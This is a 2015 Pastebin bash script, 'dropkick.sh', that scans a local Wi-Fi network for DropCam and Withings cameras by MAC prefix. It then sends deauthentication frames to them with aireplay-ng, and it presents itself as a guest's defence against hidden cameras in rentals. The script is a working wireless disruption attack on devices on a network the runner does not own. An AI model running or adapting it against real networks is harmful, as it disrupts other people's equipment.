Advertisement
Peaser

dropkick

Dec 19th, 2015
537
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.67 KB | None | 0 0
  1. #!/bin/bash
  2. #
  3. # DROPKICK.SH
  4. #
  5. # Detect and Disconnect the DropCam and Withings devices some people are using to
  6. # spy on guests in their home, especially in AirBnB rentals. Based on Glasshole.sh:
  7. #
  8. #   http://julianoliver.com/output/log_2014-05-30_20-52
  9. #
  10. # This script was named by Adam Harvey (http://ahprojects.com), who also
  11. # encouraged me to write it. It requires a GNU/Linux host (laptop, Raspberry Pi,
  12. # etc) and the aircrack-ng suite. I put 'beep' in there for a little audio
  13. # notification. Comment it out if you don't need it.
  14. #
  15. # See also http://plugunplug.net, for a plug-and-play device that does this
  16. # based on OpenWrt. Code here:
  17. #
  18. #   https://github.com/JulianOliver/CyborgUnplug
  19. #
  20. # Save as dropkick.sh, 'chmod +x dropkick.sh' and exec as follows:
  21. #
  22. #   sudo ./dropkick.sh <WIRELESS NIC> <BSSID OF ACCESS POINT>
  23.  
  24. shopt -s nocasematch # Set shell to ignore case
  25. shopt -s extglob # For non-interactive shell.
  26.  
  27. readonly NIC=$1 # Your wireless NIC
  28. readonly BSSID=$2 # Network BSSID (AirBnB WiFi network)
  29. readonly MAC=$(/sbin/ifconfig | grep $NIC | head -n 1 | awk '{ print $5 }')
  30. # MAC=$(ip link show "$NIC" | awk '/ether/ {print $2}') # If 'ifconfig' not
  31. # present.
  32. readonly GGMAC='@(30:8C:FB*|00:24:E4*)' # Match against DropCam and Withings
  33. readonly POLL=30 # Check every 30 seconds
  34. readonly LOG=/var/log/dropkick.log
  35.  
  36. airmon-ng stop mon0 # Pull down any lingering monitor devices
  37. airmon-ng start $NIC # Start a monitor device
  38.  
  39. while true;
  40.     do  
  41.         for TARGET in $(arp-scan -I $NIC --localnet | grep -o -E \
  42.         '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}')
  43.            do
  44.                if [[ "$TARGET" == "$GGMAC" ]]
  45.                    then
  46.                        # Audio alert
  47.                        beep -f 1000 -l 500 -n 200 -r 2
  48.                        echo "WiFi camera discovered: "$TARGET >> $LOG
  49.                        aireplay-ng -0 1 -a $BSSID -c $TARGET mon0
  50.                        echo "De-authed: "$TARGET " from network: " $BSSID >> $LOG
  51.                        echo '
  52.                             __              __    _     __          __                      
  53.                         ___/ /______  ___  / /__ (_)___/ /_____ ___/ /
  54.                        / _  / __/ _ \/ _ \/   _// / __/   _/ -_) _  /
  55.                        \_,_/_/  \___/ .__/_/\_\/_/\__/_/\_\\__/\_,_/  
  56.                                    /_/
  57.  
  58.                       '                                        
  59.                     else
  60.                         echo $TARGET": is not a DropCam or Withings device. Leaving alone.."
  61.                fi
  62.            done
  63.            echo "None found this round."
  64.            sleep $POLL
  65. done
  66. airmon-ng stop mon0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement